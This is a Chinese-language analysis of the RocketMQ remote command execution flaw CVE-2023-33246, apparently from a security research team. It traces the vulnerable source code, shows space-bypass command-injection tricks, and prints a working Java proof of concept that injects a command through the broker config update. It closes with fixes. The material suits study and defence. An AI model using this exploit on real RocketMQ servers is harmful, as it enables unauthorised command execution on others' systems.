RocketMQ是由阿里捐赠给Apache的一款低延迟、高并发、高可用、高可靠的分布式消息中间件。RocketMQ既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。
RocketMQ 5.1.0及以下版本,RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。 此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。
漏洞点位于FilterServer,比对一下版本差异,既然是命令执行尝试搜索Runtime,能够找到:
callShell函数如果参数完全可控那么确实是一处命令执行的点,本地部署一下环境,若是要启动的话起一下Namesrv和Broker就可以了,需要设置一下ROCKETMQ_HOME为项目地址以及-n 127.0.0.1:9876指定一下namesrv的地址。
在org.apache.rocketmq.broker.filtersrv.FilterServerManager#createFilterServer处调用了FilterServerUtil.callShell:
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}
cmd取决于buildStartCommand函数:
private String buildStartCommand() {
String config = "";
if (BrokerStartup.CONFIG_FILE_HELPER.getFile() != null) {
config = String.format("-c %s", BrokerStartup.CONFIG_FILE_HELPER.getFile());
}
if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
}
if (NetworkUtil.isWindowsPlatform()) {
return String.format("start /b %s\bin\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
}
}
例如我用-n参数指定namesrv地址,那么此处最后的cmd值为:
sh /Users/xxx/rocketmq-rocketmq-all-5.1.0/bin/startfsrv.sh -n 127.0.0.1:9876
若指定了-c参数则为:
sh /Users/xxx/rocketmq-rocketmq-all-5.1.0/bin/startfsrv.sh -c xxx -n 127.0.0.1:9876
那么实际上可控点有三处,此命令简化后为:
sh <可控点1> -c <可控点2> -n <可控点3>
同时查阅资料或者自己debug时都不难发现, BrokerController启动会创建一个定时任务每30秒去向NameSrv注册信息(broker的一个重要作用就是向namesrv注册路由信息,同时也会注册Broker自身信息)。
org.apache.rocketmq.broker.BrokerController#startBasicService:
....
if (this.clientHousekeepingService != null) {
this.clientHousekeepingService.start();
}
if (this.filterServerManager != null) {
this.filterServerManager.start();
}
if (this.brokerStatsManager != null) {
this.brokerStatsManager.start();
}
....
sh <可控点1> -c <可控点2> -n <可控点3>
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
private static String[] splitShellString(final String shellString) {
return shellString.split(" ");
}
-
利用${IFS}绕过空格
-
在要执行的shell前插入
sh -c $@ | sh . echo
public static void main(String[] args) throws Exception {
String targetHost = "127.0.0.1";
String targetPort = "10911";
String targetAddr = String.format("%s:%s",targetHost,targetPort);
Properties props = new Properties();
props.setProperty("rocketmqHome", "-c $@|sh . echo open -a Calculator;");
// props.setProperty("rocketmqHome", "-c open${IFS}-a${IFS}Calculator;");
DefaultMQAdminExt admin = new DefaultMQAdminExt();
admin.start();
admin.updateBrokerConfig(targetAddr, props);
Properties brokerConfig = admin.getBrokerConfig(targetAddr);
System.out.println(brokerConfig.getProperty("rocketmqHome"));
admin.shutdown();
}
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}
this.brokerController.getBrokerConfig().getFilterServerNums()
取到的值是0,解决起来也很简单,它这里也是从broker的配置中取出,因此直接修改filterServerNums为大于0的值即可。public static void main(String[] args) throws Exception {
String targetHost = "127.0.0.1";
String targetPort = "10911";
String targetAddr = String.format("%s:%s",targetHost,targetPort);
Properties props = new Properties();
props.setProperty("rocketmqHome", "-c $@|sh . echo open -a Calculator;");
// props.setProperty("rocketmqHome", "-c open${IFS}-a${IFS}Calculator;");
props.setProperty("filterServerNums", "1");
DefaultMQAdminExt admin = new DefaultMQAdminExt();
admin.start();
admin.updateBrokerConfig(targetAddr, props);
Properties brokerConfig = admin.getBrokerConfig(targetAddr);
System.out.println(brokerConfig.getProperty("rocketmqHome"));
admin.shutdown();
}
修复
-
使端口不对外开放
-
更新版本至5.1.1以上或者4.9.6以上
[1] cve-2023-33246
https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyphttps://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp
[2] vulhub/rocketmq/CVE-2023-33246
https://github.com/vulhub/vulhub/tree/master/rocketmq/CVE-2023-33246
原文始发于微信公众号(山石网科安全技术研究院):消息中间件RocketMQ命令执行漏洞分析